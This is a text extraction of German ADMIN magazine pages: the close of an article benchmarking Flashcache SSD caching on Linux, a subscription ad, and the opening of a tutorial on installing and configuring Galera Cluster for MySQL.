Cache-Sets. Flashcache beginnt vermehrt<br />
Cache-Blöcke von der SSD auf die HDD<br />
zu schreiben, sobald die Anzahl an Dirty<br />
Blöcken den Prozentwert überschreitet.<br />
Die Auswahl der Blöcke erfolgt aufgrund<br />
der Reclaim Policy. Sie bestimmt die Blöcke,<br />
die Flashcache auswählt, wenn bei<br />
einem Write keine Blöcke mehr frei sind<br />
und wenn eine Clean-Operation ansteht.<br />
Zur Auswahl stehen „First in First out“<br />
(FIFO, per Default – der als Erstes hereinkam,<br />
fällt zuerst raus) und „Least<br />
recently used“ (LRU, der am längsten<br />
nicht verwendete).<br />
Über den Sysctl »reclaim_policy« kann<br />
zur Laufzeit eine der beiden Varianten<br />
ausgewählt werden. Wurde eine Auswahl<br />
an Blöcken getroffen, gibt es obendrein<br />
Möglichkeiten zur Steuerung der Anzahl<br />
an Clean Writes: »fallow_clean_speed«,<br />
»max_clean_ios_set« und »max_clean_<br />
ios_total« bestimmen, wie viele Writes<br />
beim Synchronisieren abgesetzt werden.<br />
Black- und Whitelists<br />
Über Black- und Whitelists lässt sich festlegen,<br />
welche Applikationen sich Flashcache<br />
zunutze machen. Das Caching<br />
einer Datenbank kann zum Beispiel<br />
wie folgt erreicht werden: mit dem Sysctl<br />
»cache_all« den Cache global deaktivieren.<br />
Den Thread Group Identifier<br />
des Datenbank-Daemons (zum Beispiel<br />
»mysqld«) zur Flashcache-Whitelist hin-<br />
fügen. Von nun an werden alle I/Os des<br />
Daemons gecacht, andere Applikationen<br />
nutzen den Cache nicht.<br />
Dies funktioniert jedoch nur für Direct<br />
I/O zuverlässig, also Zugriffe, die nicht<br />
den Page Cache benutzen. Ansonsten<br />
werden Writes auch von den Kernel-<br />
Flush-Threads durchgeführt, die sich<br />
nicht auf der Whitelist befinden.<br />
Blacklists sind unter anderem für Backup-<br />
Prozesse interessant, die von Zeit zu Zeit<br />
das Filesystem nach Änderungen durchforsten.<br />
Diese Read-Operationen sind ungeeignet<br />
für den SSD-Cache. Der Prozess<br />
ist ein Kandidat für die Blacklist und wird<br />
als »non‐cacheable« gekennzeichnet.<br />
Performance<br />
Performance-Messungen mit Caching-<br />
Technologien sind schwierig durchzuführen.<br />
Vor allem der Weg zu einem<br />
definierten Ausgangszustand ist holprig.<br />
Die erste Hürde stellt sich bereits bei der<br />
Auswahl eines geeigneten Benchmark-<br />
Werkzeugs. Der flexible I/O-Tester Fio<br />
meistert sie glänzend, er wurde bereits<br />
im <strong>ADMIN</strong> 05/2011 vorgestellt [6].<br />
Die Fio-Testdateien auszuwählen, gestaltet<br />
sich ebenfalls als schwierig: Im<br />
Echtbetrieb wird es selten der Fall sein,<br />
dass Daten, die gerade geschrieben worden<br />
sind, sofort wieder gelesen werden.<br />
Genau dieses Verhalten simulieren aber<br />
die meisten Performance-Tests. Im Falle<br />
von Flashcache beeinflusst dieses Testsetup<br />
nachweislich die Testergebnisse:<br />
Nach dem Auslegen der Testdaten auf das<br />
Volume beginnt Flashcache mit dem Dirty<br />
Cleaning. Diese I/O-Operationen des<br />
Hintergrund-Prozesses wirken sich auf<br />
darauffolgende Lese-Tests aus. Um eine<br />
reale Gschwindigkeits-Messung zu erhalten,<br />
müssen die Tests erst dann durchgeführt<br />
werden, wenn die Synchronisation<br />
abgeschlossen ist, ansonsten muss das<br />
Dirty Cleaning zumindest als Faktor bei<br />
den Ergebnissen bedacht werden. Details<br />
zum verwendeten Testsetup sind im<br />
gleichnamigen Kasten zu finden.<br />
Die Fio-Tests setzen sich aus sequenziellem<br />
Lesen/Schreiben (1 MByte Blockgröße)<br />
und zufälligem Lesen/Schreiben<br />
(4 KByte Blockgröße) zusammen (siehe<br />
auch Abbildung 3 und 4). Alle Tests<br />
beinhalten die Verwendung des Page<br />
Cache, daraus Profit schlagen aber nur<br />
die Schreib-Tests, da Fio beim Lesen den<br />
Page Cache vor dem Test invalidiert.<br />
Fast wie SSD<br />
Bei jenen sequenziellen Tests, bei denen<br />
sich das Daten-Set komplett auf der<br />
SSD befindet, kommt Flashcache auch an<br />
die Performance einer reinen SSD heran.<br />
Die grünen Punkte in den Abbildungen<br />
markieren jeweils die Geschwindigkeiten<br />
der Tests mit einer reinen SSD,<br />
ohne Flashcache. Ab 32 GByte Set-Größe<br />
MAGAZIN<br />
ONLINE<br />
Linux-<strong>Magazin</strong> newsLetter<br />
Newsletter<br />
informativ<br />
kompakt<br />
Nachrichten rund um die<br />
Themen Linux und Open<br />
Source lesen Sie täglich<br />
im Newsletter des Linux-<br />
<strong>Magazin</strong>s.<br />
tagesaktuell<br />
www.admin-magazin.de<br />
www.linux-magazin.de/newsletter<br />
Admin<br />
Ausgabe 04-2012<br />
85
Know-How<br />
Flashcache<br />
Abbildung 3: Sequenzieller Lese-/Schreib-Test mit Flashcache.<br />
Abbildung 4: Zufälliger (Random) Lese-/Schreib-Test mit Flashcache.<br />
passen nicht mehr alle Test-Daten auf<br />
die SSD. Aufgrund von Filesystem- und<br />
Flashcache-Metadaten müssen einige<br />
100 MByte auf die Festplatte ausgelagert<br />
werden. Die Performance bei 64 GByte<br />
sinkt auf etwa 150 MByte pro Sekunde<br />
– immerhin noch 40 MByte über der<br />
durchschnittlichen Geschwindigkeit der<br />
Festplatte.<br />
Die zufälligen Tests bestätigen die Vorteile<br />
des Page Cache, selbst bei 64 GByte<br />
Random Write werden noch 1470 IOPS<br />
erreicht. Randomread fällt bereits bei 32<br />
GByte auf circa 1000 IOPS zurück, bei 64<br />
GByte zeigt sich eine drastische Reduzierung<br />
auf 182 IOPS. Für diese Einbrüche<br />
gibt es mehrere Gründe. In erster Linie<br />
übersteigt ab 32 GByte die Daten-Set-<br />
Größe die Größe der SSD, die Größe des<br />
RAMs spielt beim Lesen keine Rolle, da<br />
der Page Cache nicht eingreift. Des Weiteren<br />
wurden die Fio-Tests ohne die Option<br />
Testsetup<br />
Das Testsetup setzt sich aus folgenden Komponenten<br />
zusammen:<br />
n Intel(R) Xeon(R) CPU E5502 @ 1.87GHz<br />
sowie 12 GByte RAM<br />
n Intel Series 320 160 GByte, via Hostprotected-Area<br />
(HPA), reduziert auf 32<br />
GByte. Die Reduzierung wurde vor allem<br />
für die Verkürzung der Performance-Tests<br />
vorgenommen. Normalerweise erfolgt die<br />
Limitierung mittels HPA nur auf 70 bis 80<br />
Prozent [7]<br />
n 2 TByte Western Digital WD2002FYPS<br />
Festplatte<br />
n Flashcache Git Commit:<br />
1.0-148-g332fe0fc55ca<br />
n Fio in der Version 2.0.7<br />
n Ubuntu 12.04 mit den neuesten Updates<br />
»norandommap« aufgerufen, das heißt<br />
ein einmal gelesener Block wird nicht<br />
noch ein zweites Mal gelesen. Zu Beginn<br />
des Tests liegen bei einem 64 GByte<br />
Daten-Set circa die Hälfte auf der SSD.<br />
Fordert Fio einen zufälligen Block an, der<br />
auf der HDD liegt, wird dieser gelesen,<br />
und Flashcache cacht den Block auf der<br />
SSD. Dadurch ersetzt Flashcache einen<br />
Block auf der SSD, den Fio zum späteren<br />
Zeitpunkt vom Cache lesen hätte können.<br />
Den neuen, soeben gelesenen Block im<br />
Cache wird Fio nicht mehr benötigen, da<br />
er bereits einmal gelesen wurde.<br />
Einen Versuch wert<br />
Flashcache eignet sich hervorragend als<br />
Einstieg in die SSD-Caching-Welt. Es ist<br />
einfach zu verwenden, und die Konfigurations-Möglichkeiten<br />
sind vielfältig. Der<br />
Aufbau auf dem Linux Device Mapper<br />
verleiht Flashcache die nötige Flexibilität,<br />
um auch redundante Cache-Architekturen<br />
aufzubauen.<br />
Der fehlende Hot-Spot-Algorithmus zur<br />
Erkennung häufig benötigter Daten wird<br />
etwas durch die beiden Replacement-<br />
Policies und das Überspringen von sequenziellen<br />
Zugriffen kompensiert. Ob<br />
Flash cache mit den neuen Hot-Spot-Algorithmen<br />
gängiger Hardware-Controller<br />
mithalten kann, muss sich noch zeigen.<br />
In puncto Performance bringt Flashcache<br />
bei einer Daten-Set-Größe kleiner als die<br />
SSD-Größe kaum Overhead mit sich.<br />
Sonst hängen die Ergebnisse stark vom<br />
Zugriffsmuster der Anwendung ab.<br />
Dem Nutzer von Flashcache wird es nicht<br />
erspart bleiben, die I/O-Charakteristik<br />
seiner Applikationen näher kennenzulernen.<br />
Das soll nicht heißen, dass sich SSD-<br />
Caching ohne detaillierte Analyse des<br />
eigenen Systems nicht einsetzen lässt.<br />
Größeren Nutzen wird aber derjenige aus<br />
Flashcache ziehen, der den Cache auf<br />
seine eigene Applikationen und Bedürfnisse<br />
abstimmt. (ofr)<br />
n<br />
Infos<br />
[1] Flashcache:<br />
[https:// github. com/ facebook/ flashcache]<br />
[2] Diagramm des Linux I/O Stack:<br />
[http:// www. thomas‐krenn. com/ en/ oss/<br />
linux‐io‐stack‐diagram. html]<br />
[3] Flashcache Administrator Guide: [https://<br />
github. com/ facebook/ flashcache/ blob/<br />
master/ doc/ flashcache‐sa‐guide. txt]<br />
[4] Kernel Newbies über Linux 2.6.37: [http://<br />
kernelnewbies. org/ Linux_2_6_37# head‐5b9d<br />
7940fa4e8294ceaac86a74beb021b2fce3e3]<br />
[5] Flashcache Google Group: [https://<br />
groups. google. com/ forum/ #!topic/<br />
flashcache‐dev/ I0su4NKPQ‐o]<br />
[6] Martin Steigerwald, I/O-Benchmarks mit<br />
Fio, <strong>ADMIN</strong> 05/2011:<br />
[http:// www. admin‐magazin. de/ Das‐Heft/<br />
2011/ 05/ I‐O‐Benchmarks‐mit‐Fio]<br />
[7] SSD Over-Provisioning mit hdparm:<br />
[http:// www. thomas‐krenn. com/ de/ wiki/<br />
SSD_Over‐Provisioning_mit_hdparm]<br />
Der Autor<br />
Georg Schönberger arbeitet als Technology Specialist<br />
bei der Thomas-Krenn.AG und ist Autor beim<br />
Thomas-Krenn-Wiki. Seine Arbeitsschwerpunkte<br />
reichen von Informationssicherheit über Monitoring-Plugins<br />
bis hin zu Performance-Tests.<br />
86 Ausgabe 04-2012 Admin www.admin-magazin.de
3 Ausgaben<br />
für nur 5,90 E<br />
Jetzt bestellen: 3 Hefte zum Preis von einem. Sie sparen 66 %!<br />
Kennenlernangebot:<br />
3 Ausgaben<br />
für nur 5,90 E<br />
Jetzt bestellen unter:<br />
www.android–user.de/miniabo<br />
Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de
Know-how<br />
Galera Cluster<br />
© Andrii-Vergeles, 123RF<br />
Der Galera Cluster für MySQL<br />
Abgesichert<br />
Je länger die MySQL-Datenbank in Betrieb ist, umso weniger ist sie verzichtbar. Folgerichtig stellt sich früher<br />
oder später die Frage nach der Verfügbarkeit. Eine mögliche Antwort darauf ist der Galera Cluster für MySQL.<br />
Oli Sennhauser<br />
Gibt es das nicht schon? Wieso brauchen<br />
wir jetzt noch einen Cluster für MySQL,<br />
wo doch schon diverse Ansätze existieren,<br />
um die Verfügbarkeit von MySQL-<br />
Datenbanken zu steigern? Die Antwort<br />
ist: Jede der bisherigen Lösungen hatte<br />
auch erhebliche Nachteile. Der Galera<br />
Cluster aber ist nun angetreten, um es in<br />
etlichen Punkten besser zu machen. Wo<br />
genau es jeweils Optimierungspotenzial<br />
gibt, zeigt ein genauerer Blick auf die<br />
bisher angetretenen Bewerber.<br />
Nachteile<br />
MySQL Master/Slave Replikation: Hier<br />
entsteht ein Problem dadurch, dass durch<br />
das asynchrone Replizieren die Daten auf<br />
den Slaves immer verzögert ankommen.<br />
Fehlerhaftes Handling (zum Beispiel inkonsistente<br />
Snapshots auf dem Master<br />
oder falsches Setzen der Binary-Log-<br />
Position nach dem Einspielen) kann außerdem<br />
schnell zu Dateninkonsistenzen<br />
zwischen Master und Slave führen. Bei<br />
der alten, sogenannten Statement Based<br />
Replikation (SBR), die immer noch sehr<br />
häufig eingesetzt wird, besteht zudem die<br />
Gefahr, Inkonsistenzen durch unsichere,<br />
nicht-deterministische Abfragen zu erhalten.<br />
Das passiert etwa, wenn Sie die<br />
Abfragen »DELETE« und »UPDATE« mit<br />
»LIMIT« verwenden oder wenn Sie die<br />
Funktionen »LOAD_FILE()«, »UUID()«,<br />
»USER()«, »SYSDATE()« und andere einsetzen.<br />
Ein Absturz von Master oder Slave kann<br />
Lücken im Datenstrom bewirken oder<br />
aber die Binary Logs korrumpieren.<br />
Auch das Stoppen des Slaves bei noch<br />
nicht abgearbeiteten temporären Tabellen<br />
kann unbemerkt zu Inkonsistenzen<br />
führen. Schließlich besteht eine weitere<br />
Ursache von Inkonsistenzen darin, dass<br />
Daten direkt auf dem Slave absichtlich<br />
oder unabsichtlich manipuliert werden.<br />
Noch gefährlicher wird die Sache aber,<br />
wenn bei Master-/Master-Replikation auf<br />
beide Knoten geschrieben werden soll.<br />
In diesem Fall sind Dateninkonsistenzen<br />
praktisch sicher. Wer das nicht glaubt,<br />
braucht danach nur einmal die Daten auf<br />
Master und Slave zu vergleichen.<br />
Aktiv/Passiv-Failover-Cluster: Diese für<br />
Datenbanken oft genutzte Lösung hat den<br />
Nachteil, dass das Handling des ganzen<br />
Cluster recht komplex ist und besonders<br />
das Wiederinstandsetzen eines kaputten<br />
Clusters leicht zu Schwierigkeiten führen<br />
kann.<br />
Der Administrator muss sich mit dem<br />
Clustermanager (Pacemaker und Corosync<br />
oder Heartbeat) auskennen und<br />
sollte auch genau wissen, wie er mit<br />
einem Shared-Disk-System umgeht. Bei<br />
der Verwendung von DRBD kommt eine<br />
synchrone Replikation zwischen den<br />
Disk-Systemen der beiden Clusterknoten<br />
zustande. Auch diese Technik sollte<br />
der Admin genau verstehen. Stattdessen<br />
bekommen zwar viele Administratoren<br />
die Installation einigermaßen ordentlich<br />
88 Ausgabe 04-2012 Admin www.admin-magazin.de
Galera Cluster<br />
Know-how<br />
hin, im Notfall fehlen ihnen aber Übung<br />
und Kenntnis, um richtig zu reagieren.<br />
Ist DRBD im Spiel, kann zudem das I/<br />
O-System zum Flaschenhals werden. Ein<br />
Skalieren ist hier nur durch MySQL Master/Slave-Replikation<br />
möglich.<br />
MySQL Cluster (NDB-Cluster): Der<br />
größte Nachteil bei dieser Lösung besteht<br />
darin, dass diese Datenbank üblicherweise<br />
nicht einfach einer Applikation untergeschoben<br />
werden kann. Der MySQL-<br />
Cluster stammt aus dem Telco-Umfeld,<br />
wo hauptsächlich Primary Key-Abfragen<br />
ausgeführt werden (Key/Value Store).<br />
Hierfür eignet er sich sehr gut und skaliert<br />
auch wunderbar. Bei den üblichen<br />
Web-Anwendungen (Web-Shops, CMS,<br />
CRM und so weiter) sind aber erheblich<br />
komplexere Abfragen meist mit Joins die<br />
Regel. Und bei denen ist der MySQL-<br />
Cluster – bedingt durch seine Architektur<br />
als Netzwerk-Datenbank (NDB) – nicht<br />
mehr sehr performant, weil jeder Join<br />
Netzverbindungen nutzen muss.<br />
Um das auszugleichen, sind Anpassungen<br />
aufseiten der Applikation nötig, die<br />
Joins in einzelne Abfragen umschreiben.<br />
Möglicherweise braucht deshalb<br />
die ganze Applikation ein neues Design,<br />
weil nur so das volle Potenzial des NDB-<br />
Clusters auszuschöpfen ist. Zudem muss<br />
man lernen, mit diesem verteilten Cluster<br />
umzugehen, der aus drei verschiedenen<br />
Komponenten besteht (Daten-Knoten,<br />
Management-Knoten und SQL-Knoten).<br />
Für den Administrator bedeuten<br />
sie zusätzliche Komplexität.<br />
Was Galera kann<br />
Optimal wäre eine Lösung,<br />
die all die oben gelisteten<br />
Probleme nicht aufweist. Genau<br />
mit diesem Ziel tritt der<br />
Galera Cluster für MySQL an.<br />
Er bietet eine unkomplizierte<br />
Lösung für Hochverfügbarkeitsanforderungen<br />
und<br />
gleichzeitig das Skalieren von<br />
Lese-Anfragen.<br />
Wie erreicht er das? Der Galera<br />
Cluster ist ein synchroner Replikationscluster,<br />
der auf der<br />
InnoDB-Storage-Engine aufbaut.<br />
Das bedeutet, dass alle<br />
Tabellen als InnoDB-Tabellen<br />
vorliegen müssen. Geht das aus bestimmten<br />
Gründen nicht, lässt sich Galera nur<br />
bedingt verwenden. Meist erfolgt das<br />
Konvertieren von Tabellen nach InnoDB<br />
aber ohne Probleme. Das synchrone Replizieren<br />
hat zudem zur Folge, dass die<br />
Slaves nicht hinterherhinken und keine<br />
Transaktionen verloren gehen können.<br />
Galera verwendet eine echte Aktiv/<br />
Aktiv-Multi-Master-Topologie. Das bedeutet,<br />
dass der Cluster gleichzeitig von<br />
allen Knoten lesen und auf alle Knoten<br />
schreiben kann. Sobald ein Knoten aus<br />
dem Cluster fällt, merken dies die anderen<br />
Knoten automatisch. Kommt ein<br />
neuer Knoten zum Cluster hinzu, wird<br />
er automatisch in den Cluster aufgenommen<br />
und synchronisiert sich.<br />
Im Gegensatz zur Master-/Slave-Replikation<br />
und darauf aufbauenden Lösungen<br />
kann der Galera Cluster parallel auf Zeilenebene<br />
replizieren. Damit erzielt er ein<br />
Zigfaches an Durchsatz, verglichen mit<br />
der MySQL-Master-/Slave-Replikation.<br />
Der Schreibdurchsatz skaliert in einem<br />
gewissen Rahmen, die Lese-Zugriffe beliebig<br />
mit der Anzahl der Cluster-Knoten.<br />
Dabei kann es im Unterschied zur MySQL-<br />
Replikation aber nicht vorkommen, dass<br />
Knoten hinterherhinken, weswegen die<br />
Aktualität der Daten auch nicht überprüft<br />
zu werden braucht.<br />
Bei so vielen Vorteilen fragt man sich<br />
natürlich: Wo ist der Pferdefuß? Und tatsächlich<br />
bringt der Galera Cluster auch<br />
App App App<br />
Node 1<br />
wsrep<br />
Load balancing (LB)<br />
Node 2 Node 3<br />
wsrep<br />
Galera replication<br />
Abbildung 1: Übersichtsdarstellung des Clusters mit vorgeschaltetem Loadbalancer.<br />
Wie in dem Diagramm sollten es immer mindestens drei Knoten sein.<br />
wsrep<br />
einige Nachteile mit sich: Da MySQL die<br />
benötigten Funktionen selbst nicht bereitstellt,<br />
muss der MySQL-Code entsprechend<br />
gepachet werden. Die eigentliche<br />
Replikation realisiert dabei ein Plug-in.<br />
Glücklicherweise kann der Anwender<br />
auf fertige Binaries zurückgreifen, die<br />
die Firma Codership zur Verfügung stellt.<br />
Als Alternative lassen sich auch die entsprechenden<br />
Binaries von Percona oder<br />
MariaDB verwenden.<br />
Viel Licht, auch Schatten?<br />
Ein weiterer Nachteil besteht darin, dass<br />
es bei Hot-Spots (kleine Tabellen mit sehr<br />
hoher Änderungsrate) zu einer erhöhten<br />
Anzahl von Konflikten kommt. Dies äußert<br />
sich darin, dass die Applikation vermehrt<br />
Deadlock-Meldungen erhält und<br />
damit umgehen muss. Ein letzter Nachteil<br />
besteht schließlich darin, dass bei der<br />
initialen Vollsynchronisation, wenn ein<br />
Knoten neu in den Cluster aufgenommen<br />
werden soll, derjenige Knoten, welcher<br />
die Daten liefert (der sogenannte Donor-<br />
Knoten) für sämtliche Zugriffe blockiert<br />
wird. Das ist auch einer der Hauptgründe<br />
dafür, den Galera Cluster immer mit mindestens<br />
drei Knoten aufzusetzen.<br />
Topologie und Funktion<br />
Das empfohlene Setup für Galera Cluster<br />
besteht aus drei Knoten (<strong>Server</strong>n). Die<br />
können sowohl physischer<br />
Natur als auch virtuell sein.<br />
Sie können sich sogar über<br />
Rechenzentren hinweg verteilen,<br />
jedoch darf man dann<br />
nicht mehr mit sehr kurzen<br />
Antwortzeiten rechnen. Um<br />
das ganze System hochverfügbar<br />
zu machen, wird dem<br />
Galera Cluster ein Loadbalancer<br />
vorgeschaltet.<br />
Die Patches der Firma Codership<br />
greifen in den Transaktions-<br />
und Replikations-Mechanismus<br />
von MySQL ein.<br />
Bei einem »COMMIT«-Befehl<br />
wird das Write Set (das heißt<br />
die Transaktion plus Metadaten)<br />
vom sogenannten Masterknoten<br />
(das ist derjenige,<br />
der die Transaktion erhält)<br />
an alle anderen Knoten (die<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
89
Know-how<br />
Galera Cluster<br />
01 #<br />
Slaves) des Clusters übermittelt. Der<br />
Cluster generiert daraufhin eine globale<br />
Transaktions-ID. Mit der kann jeder<br />
Knoten (einschließlich des Masters) den<br />
Zertifizierungstest für das Write Set vornehmen,<br />
um festzustellen, ob das Write<br />
Set anwendbar ist oder nicht. Ist dieser<br />
Zertifizierungstest erfolgreich, wird das<br />
Write Set appliziert. Andernfalls verwirft<br />
der Slave das Write Set, und der Master<br />
führt ein Rollback durch.<br />
Wenn der Slave-Knoten das Write Set<br />
nicht applizieren kann (zum Beispiel weil<br />
die Platte voll ist), wird er vom Cluster-<br />
Verbund ausgeschlossen und muss sich<br />
selbst beenden, um zu gewährleisten,<br />
dass keine Dateninkonsistenz auftritt.<br />
Beim Wiedereintritt in den Cluster muss<br />
er sich mit den andern Knoten durch<br />
einen sogenannten State Snapshot Transfer<br />
(SST) synchronisieren, um an einen<br />
konsistenten Datenbestand zu gelangen.<br />
Der SST ist eine vollständige Übertragung<br />
der Daten eines sogenannten Donor-<br />
Listing 3: MySQL-Parameter<br />
02 # Galera spezifische MySQL‐Parameter<br />
03 #<br />
04 <br />
Listing 1: MySQL läuft<br />
01 mysql> status;<br />
02 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
03 mysql Ver 14.14 Distrib 5.5.22, for Linux (x86_64)<br />
using readline 5.1<br />
04 <br />
05 ...<br />
06 <strong>Server</strong> version: 5.5.20 MySQL Community <strong>Server</strong><br />
(GPL),<br />
07 wsrep_23.4.r3713,<br />
wsrep_23.4.r3713<br />
08 Protocol version: 10<br />
09 Connection: Localhost via UNIX socket<br />
Listing 2: Keine Replikation<br />
01 SHOW GLOBAL VARIABLES LIKE 'wsrep_pro%';<br />
02 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+<br />
03 | Variable_name | Value |<br />
04 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+<br />
05 | wsrep_provider | none |<br />
06 | wsrep_provider_options | |<br />
07 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+<br />
05 binlog_format = row<br />
06 default_storage_engine = InnoDB<br />
07 innodb_autoinc_lock_mode = 2<br />
08 innodb_locks_unsafe_for_binlog = 1<br />
09 query_cache_size = 0<br />
10 query_cache_type = 0<br />
Knotens auf einen neu in den Cluster<br />
eintretenden Empfänger-Knoten. Während<br />
dieses SST ist der Donor für SQL-<br />
Anfragen nicht verfügbar. Dies ist mit ein<br />
Grund, warum sich ein Galera-Setup mit<br />
nur zwei Knoten nicht empfiehlt.<br />
Der SST kann mittels »mysqldump«,<br />
»rsync« oder »xtrabackup« (ab 2.0) erfolgen.<br />
Bei sehr großen Datenbeständen<br />
(Faustregel: Datenmenge > RAM) ist<br />
»mysqldump« aufgrund seiner langen<br />
Laufzeit nicht mehr die geeignete SST-<br />
Methode. Die beiden anderen Methoden<br />
eignen sich dann besser.<br />
Neu beim Galera Cluster 2.0 ist der sogenannte<br />
Incremental State Transfer (IST)<br />
hinzugekommen. Er ermöglicht dem<br />
Cluster, bei einem Neustart nur die Inkremente<br />
zu übertragen und zu applizieren,<br />
was natürlich wesentlich schneller vonstatten<br />
geht. Das ist insbesondere dann<br />
von Interesse, wenn der Galera Cluster<br />
in einem WAN betrieben wird und eine<br />
volle Übertragung der gesamten Datenmenge<br />
aufgrund der geringen Bandbreite<br />
ewig dauern würde.<br />
Die Installation<br />
Der Galera Cluster läuft sowohl auf physischen<br />
Maschinen als auch auf virtuellen<br />
Systemen einwandfrei. Das empfohlene<br />
Setup besteht aus drei Knoten. Dementsprechend<br />
kann der Admin, der den<br />
Cluster einmal testen möchte, auf der<br />
Virtualisierungslösung seiner Wahl drei<br />
Linux-Knoten hochfahren. Im Idealfall<br />
gibt es pro Knoten zwei Interfaces: Eines<br />
für die Inter-Knoten-Kommunikation<br />
und eines für Kommunikation mit den<br />
Applikationen. Das folgende Beispiel verwendet<br />
CentOS 6.2 auf dem aktuellsten<br />
Stand.<br />
Zunächst sollte der Installateur sicherstellen,<br />
dass er alle Knoten im Cluster sieht.<br />
Im folgenden Setup werden folgende IP-<br />
Adressen verwendet (Tabelle 1).<br />
Tabelle 1: Ip-Adressen<br />
Knoten internes<br />
Interface<br />
node1 192.168.56.101<br />
(eth1)<br />
node2 192.168.56.102<br />
(eth1)<br />
node3 192.168.56.103<br />
(eth1)<br />
externes<br />
Interface<br />
10.0.2.1 (eth0)<br />
10.0.2.2 (eth0)<br />
10.0.2.3 (eth0)<br />
Von Knoten »node1« wird die Netzwerkverbindung<br />
auf die andern beiden Knoten<br />
getestet:<br />
node1> ping 192.168.56.102 ‐I eth1<br />
node1> ping 192.168.56.103 ‐I eth1<br />
Und dasselbe anschließend in umgekehrter<br />
Richtung.<br />
MySQL/Galera-Pakete<br />
Um Konflikte zu vermeiden, empfiehlt<br />
es sich, eventuell installierte MySQL-5.1-<br />
Pakete vorher zu entfernen:<br />
rpm ‐e mysql‐libs‐5.1.61‐1.el6_2.1.x86_64<br />
Anschließend müssen die entsprechenden<br />
MySQL 5.5 Pakete [2] wieder installiert<br />
werden:<br />
rpm ‐i MySQL‐shared‐compat‐5.5.22‐2.el6.U<br />
x86_64.rpm<br />
rpm ‐i MySQL‐client‐5.5.22‐1.el6.x86_64.rpm<br />
Folgendes Paket ist auf CentOS 6 zusätzlich<br />
erforderlich:<br />
yum install openssl098e.x86_64<br />
Dann gilt es, die Galera-Binaries zu organisieren.<br />
Am besten geht das über die Codership<br />
Website [1]. Man braucht sowohl<br />
die gepatchten MySQL-Binaries als auch<br />
das Galera-Replication-Plugin:<br />
wget https://launchpad.net/codershipU<br />
‐mysql/5.5/5.5.20‐23.4/+download/U<br />
MySQL‐server‐5.5.20_wsrep_23.4‐1.rhel5.U<br />
x86_64.rpm<br />
wget https://launchpad.net/galera/2.x/U<br />
23.2.0/+download/galera‐23.2.0‐1.rhel5.U<br />
x86_64.rpm<br />
rpm ‐i MySQL‐server‐5.5.20_wsrep_23.4‐1.U<br />
rhel5.x86_64.rpm<br />
rpm ‐i galera‐23.2.0‐1.rhel5.x86_64.rpm<br />
Anschließend lässt sich MySQL bereits<br />
starten. So geht der Admin sicher, dass<br />
die Datenbank läuft:<br />
/etc/init.d/mysql start<br />
Starting MySQL.. SUCCESS!<br />
Natürlich ist der Galera Cluster jetzt noch<br />
nicht einsatzbereit. Zumindest läuft aber<br />
MySQL auf allen Knoten (Listing 1).<br />
Der folgende Befehl zeigt, dass die Galera-Replikation<br />
noch nicht bereit ist<br />
( Listing 2).<br />
Jeder Knoten, der dem Cluster beitreten<br />
will, muss den initialen Datenbestand<br />
90 Ausgabe 04-2012 Admin www.admin-magazin.de
Galera Cluster<br />
Know-how<br />
des Clusters übernehmen. Dieser Vorgang<br />
wird als State Snapshop Transfer (SST)<br />
bezeichnet. Für diesen SST wird ein User<br />
benötigt. Dabei benutzt man ungern den<br />
MySQL-User »root«, also muss man sich<br />
einen eigenen User auf allen drei Knoten<br />
anlegen:<br />
GRANT ALL PRIVILEGES ON *.* TO 'sst'@'U<br />
localhost'<br />
IDENTIFIED BY 'secret';<br />
GRANT ALL PRIVILEGES ON *.* TO 'sst'@'%'<br />
IDENTIFIED BY 'secret';<br />
Konfiguration des Galera<br />
Clusters<br />
Der Galera Cluster wird, wie man es von<br />
MySQL gewohnt ist, in der Datei »/etc/<br />
my.cnf« konfiguriert. Die Parameter, die<br />
Galera betreffen, beginnen mit »wsrep_«.<br />
Zusätzlich müssen auch noch einige<br />
MySQL-Parameter berücksichtigt werden.<br />
Folgende Parameter sind in der »my.cnf«<br />
in die Sektion »[mysqld]« einzupflegen<br />
(Listing 3).<br />
Der Galera Cluster verlangt zwingend das<br />
neue, in MySQL 5.1 hinzugekommene,<br />
Row Bases Replication Format (RBR).<br />
Und wie bereits weiter oben erwähnt,<br />
läuft Galera Cluster zurzeit ausschließlich<br />
mit InnoDB-Tabellen. Da der Query<br />
Cache lokal pro Knoten arbeitet und sich<br />
die Caches nicht über ihre Inhalte austauschen,<br />
muss er aus Daten-Konsistenz-<br />
Gründen ausgeschaltet werden.<br />
Die minimale Galera Cluster Konfiguration<br />
besteht aus folgenden Parametern,<br />
die ebenfalls in die »[mysqld]«-Sektion<br />
gehören: Der Parameter<br />
»wsrep_provider« teilt MySQL mit, wo<br />
es das Galera Plugin findet.<br />
»wsrep_cluster_name« benennt da<strong>gegen</strong><br />
einen Cluster im Netzwerk eindeutig. Dieser<br />
Parameter dient vor allem dazu, dass<br />
sich ein wildfremder Knoten beim Starten<br />
nicht fälschlicherweise in den Cluster<br />
verirrt. Er muss auf allen Knoten unseres<br />
Clusters gleich sein. Der Parameter<br />
»wsrep_node_name« gibt den Knoten<br />
eindeutige, sprechende Namen. Dieser<br />
Parameter muss auf allen drei Knoten<br />
unterschiedlich sein. Der Parameter<br />
»wsrep_cluster_address« teilt dem Knoten<br />
mit, wo er einen seiner Kollegen vorfindet,<br />
um mit dessen Hilfe in den Cluster-<br />
Verbund aufgenommen zu werden. Beim<br />
Starten des ersten Knotens ist natürlich<br />
noch kein weiterer Knoten verfügbar, daher<br />
lautet der Eintrag »gcomm://«. Alle<br />
anderen Knoten können beim Starten auf<br />
diesen ersten Knoten verweisen. Wird<br />
jedoch der erste Knoten neu gestartet,<br />
würde er mit »gcomm://« versuchen, einen<br />
neuen Cluster zu bilden. Daher muss<br />
nach dem initialen Starten dieses Knotens<br />
»wsrep_cluster_address« auf einen<br />
anderen Knoten umgestellt werden.<br />
Es empfiehlt sich folgendes Vorgehen<br />
beim ersten Starten des Galera Clusters:<br />
node1: gcomm://<br />
node2: gcomm://192.168.56.101<br />
node3: gcomm://192.168.56.102<br />
